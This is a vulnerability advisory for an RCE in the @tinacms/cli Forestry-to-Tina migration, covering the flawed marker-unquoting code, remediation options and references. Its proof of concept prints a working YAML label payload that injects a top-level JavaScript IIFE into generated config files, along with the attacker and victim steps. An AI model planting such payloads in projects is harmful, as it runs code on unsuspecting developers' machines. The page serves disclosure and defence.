CVE-2026-54074: @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Description Summary @tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINAINTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry//.yml are placed into that JSON without any sanitisation.
Published Jun 19, 2026
Affected packages
@tinacms/cli
- Ecosystem
- npm
- Affected
- < 2.4.3
- Fixed in
- 2.4.3
- Check
npm ls @tinacms/cli
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Description
Summary
@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs `tinacms dev` or `tinacms build`, with the developer's privileges.
Details
Vulnerable code path:
packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts—transformForestryFieldsToTinaFields()writesforestryField.label(and.name) straight into TinaField objects (no sanitisation).packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:
export const addVariablesToCode = (codeWithTinaPrefix: string) => {
const code = codeWithTinaPrefix.replace(
/"__TINA_INTERNAL__:::(.*?):::"/g,
'$1'
);
return { code };
};codeTransformer.tslines 80-88 — the field array isJSON.stringify-ed and then handed toaddVariablesToCode. BecauseJSON.stringifydoes not escape single quotes or backticks, an attacker who avoids"in the payload survives the JSON pass intact.packages/@tinacms/cli/src/cmds/init/apply.tslines 110-116 — the resulting string is written totina/templates.{ts,js}and imported by the generatedtina/config.{ts,js}, whichtinacms devevaluates.
Why it executes immediately: the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing xxxFields() function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.
PoC
End-to-end verified against tinacms and @tinacms/[email protected], built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
.forestry/settings.yml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
- rce.forestry/front_matter/templates/rce.yml
---
label: rce_template
fields:
- name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"Note on payload encoding. The original disclosure draft used double > quotes inside the payload (console.log("RCE")). JSON.stringify escapes > those to \", which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed.
Step 2 — victim runs the standard onboarding flow
git clone <attacker repo>
cd <attacker repo>
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms buildStep 3 — generated `tina/templates.ts` (verbatim, from a clean run)
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // <-- TOP-LEVEL IIFE
const fs = require("fs");
const os = require("os");
fs.writeFileSync(
require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
"RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
);
console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
return [{ x: 1 }] as TinaField[];
}Step 4 — observed result
$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')
$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800ZThe === RCE SUCCESSFUL === line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.
Impact
- Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build).
- Attack vector: Any developer who runs
tinacms initon a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runstinacms devortinacms build. - Privileges obtained: Full execution under the developer's user account. Practical consequences include:
- Exfiltration of environment variables,
.envfiles, SSH keys,~/.aws/credentials,~/.npmrctokens,~/.config/gh/hosts.yml. - Source-code modification (planting backdoors before the developer's next commit / publish).
- Supply-chain abuse via the developer's
npm publishandgit pushcredentials. - Persistence via shell rc files or scheduled tasks.
- Authentication: None required from the attacker.
- User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".
Suggested Remediation
Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.
Option A — sanitise user-controlled strings (the disclosure draft's proposal)
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
typeof str === 'string'
? str.replace(/__TINA_INTERNAL__:::/g, '')
: str;Apply to every user-controlled string that flows into a TinaField object — at minimum forestryField.label, forestryField.name, forestryField.template, forestryField.config.options[*], forestryField.config.source.section, and the equivalents on nested fields/template_types recursive paths.
Option B — change the marker to a sequence that cannot survive JSON.stringify of user data
// codeTransformer.ts
const MARKER_OPEN = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';
export const addVariablesToCode = (s: string) => ({
code: s.replace(
new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
'$1'
),
});JSON.stringify escapes ` to the six-character sequence , so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (makeFieldsWithInternalCode) keep emitting real ` bytes, so the legitimate flow continues to work and no user content is silently mutated.
Defence-in-depth
Regardless of which option ships, the migration code should also:
- Reject
forestryField.label/.namethat contain newlines or NUL bytes (Forestry never produced them). - Wrap the eventual
prettier.format(...)call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).
---
Credit
Reported by AnGrY-Althaf ([email protected]).
End-to-end PoC executed locally against [email protected] / @tinacms/[email protected] built from commit ae1ab5d0f of https://github.com/tinacms/tinacms.
Credited to AnGrY-Althaf.
References
- https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw
- https://github.com/tinacms/tinacms/pull/7006
- https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected]
- https://github.com/advisories/GHSA-4936-9hrh-qqpw
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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